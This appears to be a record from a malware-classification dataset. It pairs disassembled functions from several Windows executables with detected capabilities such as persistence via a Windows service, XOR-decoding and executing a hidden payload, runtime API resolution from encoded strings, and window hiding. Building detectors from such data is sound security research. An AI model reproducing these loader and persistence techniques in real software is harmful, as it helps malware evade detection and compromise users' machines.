joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4053ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.00404687
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407310
push esi
push edi
push 0x491c80
call fcn.00407310
push esi
push edi
push 0x491b7c
call fcn.00407310
push esi
push edi
push 0x491a78
call fcn.00407310
push esi
push edi
push 0x491974
call fcn.00407310
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x40546c
cmp dword [ebp - 0x8c], ebx
jne 0x40546c
mov dword [0x491e98], ebx
call fcn.004048cb
mov esi, 0x7d000
push esi
call fcn.00407baf
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x40548a
xor eax, eax
jmp 0x4054ae
push esi
push edi
push eax
call fcn.00407310
call fcn.0040556c
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.004052d3
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40556c
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str.0FNxTvD
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.2XDp_r0_rzDP6rHPpp
je 0x4055d1
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push str.0FNxTvD
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x4055fb
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, str.xDJDJ
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40561c
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4058b1
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405967
lea eax, [ebp - 0x324]
push 0
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004074db
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1d8
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407196
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x40596b
call fcn.00401808
xor eax, eax
jmp 0x4059bf
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040780b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046b3
pop ecx
test eax, eax
pop ecx
je 0x4059bd
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405e9a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x40f949
call fcn.00403434
pop ecx
pop ecx
push eax
push str.0HZxTr._fDPrHpHZ.8DJHxp.
push closesocket
call fcn.004044c0
lea eax, [ebp - 0x10c]
push eax
call fcn.00405c5a
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.004076ee
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f44
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f44
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e42
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405efe
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406820
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fc8
call fcn.00407b80
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b7c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x4068c3
push 0x1ec0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054b3
push 0x13000
push esi
call fcn.00404e60
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e88], ebx
mov edi, 0x491974
je 0x40691a
push esi
push edi
push 0x491a78
push closesocket
call fcn.0040451c
push 1
push str.0FNxTvD
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.2XDp_r0_rzDP6rHPpp
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406913
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406924
xor eax, eax
jmp 0x406999
cmp dword [0x491e88], ebx
je 0x406937
push ebx
push esi
call fcn.004046b3
pop ecx
pop ecx
jmp 0x406996
cmp dword [0x491e90], ebx
jne 0x406996
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc8
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4058bd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4058cc
pop dword [ebp - 0x1c]
mov eax, 0xea4626ba
sub eax, 0xea05cdee
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x7a468e9f
add dword [ebp - 0x2c], 0xd40bb6ac
mov dword [ebp - 0x28], 0x70a3c9bc
sub dword [ebp - 0x28], 0x3e707d77
mov dword [ebp - 0x24], 0xad9550ac
sub dword [ebp - 0x24], 0x61490c7e
mov dword [ebp - 0x20], 0xaa6b6f93
sub dword [ebp - 0x20], 0xaa6b6f93
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xbd9d9e7b
sub eax, 0xbd5cce27
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xf68a8971
sub dword [ebp - 0x2c], 0x8218201b
mov dword [ebp - 0x28], 0x91123830
sub dword [ebp - 0x28], 0x4fa5d6bb
mov dword [ebp - 0x24], 0xd924d6b4
add dword [ebp - 0x24], 0x8a4a95b8
mov dword [ebp - 0x20], 0xf77a855a
sub dword [ebp - 0x20], 0xf77a855a
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0xfb13f869
sub eax, 0xfad3281d
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3a208
push 0
call eax
mov ecx, 0xe5504284
add ecx, 0x1ab007ce
mov edx, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x1c]
mov esi, 0x779d82b
add esi, 0xc5c622f5
sub dword [ebp - 0x14], esi
mov ebx, dword [edi]
xor ebx, esi
xor dword [ebp - 0x10], 0x3f8cf26a
mov dword [edx], ebx
sub dword [ebp - 4], 0x7be40054
add edx, 0xbe047f21
sub edx, 0xbe047f1d
add edi, 0xd70c5aaf
add edi, 0x28f3a555
loop 0x4059e8
add eax, 0x1ea59f0f
add eax, 0xe15b7d0c
xor ebx, ebx
add ebx, eax
add eax, 0x1aee12f0
sub eax, 0x1aee12eb
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x40269e
Capabilities:
Check if file exists
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
lea eax, [ebp - 0x228]
push ebx
push esi
push edi
push 0x20a
xor edi, edi
mov bl, dl
push edi
push eax
mov esi, ecx
call fcn.00421460
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x105
lea eax, [ebp - 0x228]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4027a7
test esi, esi
je 0x4027a7
cmp esi, 0x105
ja 0x4027a7
lea ecx, [ebp - 0x228]
call fcn.0040284d
movzx esi, ax
xor eax, eax
cmp ax, si
je 0x4027a7
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
push 0x4027b0
mov word [ebp - 4], si
call dword [sym.imp.USER32.dll_EnumWindows]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4027a7
test bl, bl
je 0x402761
push edi
push 0x9c49
push 0x111
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x4027a3
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x402793
mov eax, dword [ebp - 8]
push 3
mov dword [ebp - 0x18], eax
pop eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x14
mov dword [ebp - 0xc], edi
call dword [sym.imp.USER32.dll_FlashWindowEx]
jmp 0x4027a3
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_GetLastActivePopup]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov al, 1
jmp 0x4027a9
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403767
Capabilities:
Capture webcam image

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, ecx
push 0
pop esi
sub eax, 1
je 0x4037da
sub eax, 1
je 0x403844
sub eax, 0x417
jne 0x40385b
cmp dword [ebp + 0x10], eax
jne 0x40385b
test edi, edi
je 0x40379f
mov eax, dword [edi + 4]
jmp 0x4037a1
mov eax, esi
push 0x419
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push esi
push esi
push 0xf0
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
mov ecx, edi
setne al
movzx eax, al
push eax
push 0x427
push 0x426
call fcn.0040450d
jmp 0x40385b
cmp dword [ebp + 0x10], 0
jne 0x40385b
test edi, edi
je 0x4037e9
mov eax, dword [edi + 4]
jmp 0x4037eb
mov eax, esi
push 0x419
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push esi
push esi
push 0xf0
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
neg eax
sbb eax, eax
neg eax
mov ecx, eax
call fcn.00403997
test edi, edi
je 0x40381b
mov eax, dword [edi + 4]
jmp 0x40381d
mov eax, esi
push 0x41b
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push esi
push esi
push 0xf0
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
neg eax
sbb eax, eax
neg eax
mov ecx, eax
call fcn.004039ad
cmp dword [ebp + 0x10], 0
jne 0x40385b
test edi, edi
je 0x403851
mov esi, dword [edi + 4]
push dword [ebp + 8]
push esi
call dword [sym.imp.USER32.dll_EndDialog]
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x40450d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 0x10], 0
push esi
push edi
mov edi, ecx
je 0x404532
push dword [ebp + 0xc]
call fcn.00404287
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push eax
call esi
push dword [ebp + 8]
jmp 0x404548
push dword [ebp + 8]
call fcn.00404287
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push eax
call esi
push dword [ebp + 0xc]
mov ecx, edi
call fcn.00404287
push 5
push eax
call esi
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x40505f
Capabilities:
Delete file

Disassembly:
mov eax, 0x45d2a3
call fcn.0041f258
sub esp, 0x53c
push ebx
push esi
push edi
mov ebx, ecx
mov edi, 0x100
call fcn.00403750
test eax, eax
lea ecx, [edi + 0x40]
push 0x20c
lea eax, [ebp - 0x270]
cmovne edi, ecx
push 0
push eax
call fcn.00421460
mov eax, dword [ebx + 0x34]
lea esi, [ebx + 0x24]
add esp, 0xc
mov ecx, 0x106
inc eax
cmp eax, ecx
cmovb ecx, eax
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x4050b7
mov eax, dword [esi]
push eax
push ecx
lea eax, [ebp - 0x270]
push eax
call fcn.0042a0a8
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x270]
mov dword [ebp - 0x24], eax
xor eax, eax
mov word [ebp - 0x1c], di
lea edi, [ebp - 0x1a]
mov dword [ebp - 0x28], 3
mov dword [ebp - 0x20], 0x463bf8
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov edi, eax
test edi, edi
je 0x40512d
push str.Unable_to_delete_file
lea ecx, [ebp - 0x44]
call fcn.004014c8
and dword [ebp - 4], 0
lea eax, [ebp - 0x44]
push edi
push eax
lea ecx, [ebp - 0x64]
call fcn.00408a82
push 0x473834
lea eax, [ebp - 0x64]
push eax
call fcn.00421661
cmp dword [ebp - 0x1a], 0
je 0x405137
xor al, al
jmp 0x40516a
lea ecx, [ebp - 0x548]
mov byte [ebx + 0x48], 0
call fcn.00411ce1
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x548]
push esi
call fcn.00412190
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x548]
call fcn.00411d72
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x40517d
Capabilities:
Delete file

Disassembly:
mov eax, 0x45d2d6
call fcn.0041f258
sub esp, 0x34
push ebx
push esi
xor ebx, ebx
mov esi, ecx
push edi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
mov edi, str.OrgCopy
push edi
lea eax, [ebp - 0x28]
push eax
call fcn.00405677
xor eax, eax
lea ecx, [ebp - 0x28]
inc eax
xor edx, edx
push eax
mov dword [ebp - 0x10], eax
call fcn.0040ab54
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x4051e9
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ebx
cmovae eax, dword [ebp - 0x28]
push eax
push 5
push 0x40004
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x405204
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x40]
call fcn.00404340
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x40]
call fcn.004017c6
push 0x463758
lea ecx, [ebp - 0x40]
call fcn.004014c8
mov byte [ebp - 4], 2
lea eax, [ebp - 0x40]
push eax
push edi
mov ecx, esi
call fcn.00405fac
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x40]
call fcn.004017c6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004017c6
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x405297
Capabilities:
Get file size

Disassembly:
mov eax, 0x45d312
call fcn.0041f258
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, edi
mov dword [ebp - 0x10], ecx
cmp dword [edi + 0x14], 8
jb 0x4052b7
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push 1
push 0x80000000
push eax
call ebx
mov esi, eax
mov dword [ebp - 0x14], esi
and dword [ebp - 4], 0
cmp esi, 0xffffffff
jne 0x405331
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x4052e6
mov eax, dword [edi]
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push eax
call ebx
mov esi, eax
mov dword [ebp - 0x14], esi
cmp esi, 0xffffffff
jne 0x405331
push edi
mov edx, str.Unable_to_open
lea ecx, [ebp - 0x34]
call fcn.004046bd
mov edi, eax
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, edi
call fcn.0040915d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.004017c6
and dword [ebp + 8], 0
lea eax, [ebp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp edi, 0xffffffff
jne 0x40537a
test ebx, ebx
je 0x40537a
push str.Unable_to_get_file_size
lea ecx, [ebp - 0x34]
call fcn.004014c8
mov byte [ebp - 4], 2
mov edx, ebx
lea ecx, [ebp - 0x34]
call fcn.0040915d
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.004017c6
cmp dword [ebp + 8], 0
ja 0x405388
cmp edi, 0x7fffffff
jbe 0x4053b2
push str.Cannot_edit_files_larger_than_2GB
lea ecx, [ebp - 0x34]
call fcn.004014c8
mov byte [ebp - 4], 3
mov edx, ebx
lea ecx, [ebp - 0x34]
call fcn.0040915d
xor ebx, ebx
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x34]
call fcn.004017c6
jmp 0x4053b4
xor ebx, ebx
test edi, edi
jne 0x4053ca
mov ecx, dword [ebp - 0x10]
push ebx
push 0x463758
call fcn.00404d9c
mov ebx, eax
jmp 0x4053fa
push 2
push ebx
push esi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call fcn.00409305
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x10]
push edi
push dword [ebp - 0x18]
call fcn.00404d9c
mov ebx, eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.004092ca
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x405403
mov dword [eax], edi
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x405417
cmp esi, 0xffffffff
je 0x405417
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8

Function at 0x40543f
Capabilities:
Get disk information

Disassembly:
mov eax, 0x45d324
call fcn.0041f258
sub esp, 0x18
mov edx, ecx
lea ecx, [ebp - 0x24]
push esi
call fcn.0040a7b2
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
cmp dword [ebp - 0x10], 8
cmovae eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov esi, eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.004017c6
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x405850
Capabilities:
Check if file exists

Disassembly:
push esi
mov esi, ecx
push edi
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x40585e
mov eax, dword [esi]
xor ecx, ecx
push ecx
push ecx
push 5
push ecx
push 1
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4058a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x4058a4
cmp dword [esi + 0x14], 8
jb 0x40588d
mov esi, dword [esi]
xor eax, eax
push eax
push eax
push 1
push eax
push 1
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov eax, edi
pop edi
pop esi
ret
Function at 0x4058a9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x45d47d
call fcn.0041f258
sub esp, 0x22c
mov eax, ecx
push ebx
push esi
push edi
lea esi, [eax + 0x24]
mov dword [ebp - 0x10], eax
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x4058ce
mov ecx, dword [esi]
push 1
mov edx, 0xc0000000
call fcn.0040ac3b
mov edi, eax
cmp edi, 0xffffffff
jne 0x405abc
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 0x7b
jne 0x405981
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x405900
mov eax, dword [esi]
push eax
push 0x9ca9
push 0x40
push dword [ebp + 8]
call fcn.0041e086
push 0x20a
xor edi, edi
lea eax, [ebp - 0x238]
push edi
push eax
call fcn.00421460
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x238]
add esp, 0x1c
push edi
push edi
push 0x105
call fcn.00412cb4
test al, al
je 0x405979
lea eax, [ebp - 0x238]
push eax
call fcn.0042a10c
pop ecx
push eax
lea eax, [ebp - 0x238]
mov ecx, esi
push eax
call fcn.004017f8
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x405966
mov ecx, dword [esi]
push 1
mov edx, 0xc0000000
call fcn.0040ac3b
mov edi, eax
jmp 0x4059f9
or eax, 0xffffffff
jmp 0x405abe
cmp ebx, 2
jne 0x405a02
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x405990
mov eax, dword [esi]
push eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2c], esp
push str._1.txt
call fcn.004014c8
and dword [ebp - 4], 0
lea eax, [ebp - 0x28]
push eax
or dword [ebp - 4], 0xffffffff
call fcn.0040c5ba
add esp, 0x20
xor eax, eax
inc eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x28]
cmp dword [ebp - 0x14], 8
mov edx, 0xc0000000
push eax
cmovae ecx, dword [ebp - 0x28]
call fcn.0040ac3b
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, 2
je 0x4059ed
lea eax, [ebp - 0x28]
mov ecx, esi
push eax
call fcn.00403059
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004017c6
cmp edi, 0xffffffff
jne 0x405abc
cmp ebx, 5
je 0x405a0c
cmp ebx, 0x20
jne 0x405a78
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x405a16
mov ecx, dword [esi]
push 1
mov edx, 0x80000000
call fcn.0040ac3b
mov edi, eax
cmp edi, 0xffffffff
jne 0x405a50
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x405a33
mov ecx, dword [esi]
push 3
mov edx, 0x80000000
call fcn.0040ac3b
mov edi, eax
cmp edi, 0xffffffff
jne 0x405a50
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x405a78
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x44], 1
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x405a61
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 1
jne 0x405a73
mov eax, dword [ebp - 0x10]
mov byte [eax + 0x45], 1
cmp edi, 0xffffffff
jne 0x405abc
cmp ebx, 2
jne 0x405a8e
mov ecx, dword [ebp + 8]
mov edx, esi
call fcn.004095f2
mov edi, eax
cmp edi, 0xffffffff
jne 0x405abc
cmp dword [esi + 0x14], 8
jb 0x405a96
mov esi, dword [esi]
push esi
lea ecx, [ebp - 0x28]
call fcn.004014c8
mov dword [ebp - 4], 2
mov edx, ebx
lea ecx, [ebp - 0x28]
call fcn.0040915d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004017c6
mov eax, edi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405e02
Capabilities:
Move file

Disassembly:
mov eax, 0x45d4c4
call fcn.0041f258
sub esp, 0x710
push ebx
mov ebx, dword [ebp + 0xc]
mov edx, ebx
push esi
lea esi, [ecx + 0x24]
mov ecx, esi
call fcn.0040a387
test al, al
jne 0x405f02
push edi
mov edi, 0x20c
lea eax, [ebp - 0x238]
push edi
push 0
push eax
call fcn.00421460
add esp, 0xc
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x405e4d
mov eax, dword [esi]
push eax
lea eax, [ebp - 0x238]
push 0x106
push eax
call fcn.0042a0a8
push edi
lea eax, [ebp - 0x444]
push 0
push eax
call fcn.00421460
add esp, 0x18
mov eax, ebx
cmp dword [ebx + 0x14], 8
jb 0x405e7b
mov eax, dword [ebx]
push eax
lea eax, [ebp - 0x444]
push 0x106
push eax
call fcn.0042a0a8
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x1a]
mov dword [ebp - 0x2c], eax
add esp, 0xc
lea eax, [ebp - 0x238]
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x444]
mov dword [ebp - 0x20], eax
mov eax, 0x100
mov word [ebp - 0x1c], ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
pop edi
test eax, eax
jne 0x405f17
lea ecx, [ebp - 0x71c]
call fcn.00411ce1
and dword [ebp - 4], 0
lea ecx, [ebp - 0x71c]
push ebx
push esi
call fcn.004121e6
push ebx
mov ecx, esi
call fcn.00403059
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x71c]
call fcn.00411d72
xor eax, eax
inc eax
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
xor al, al
jmp 0x405f05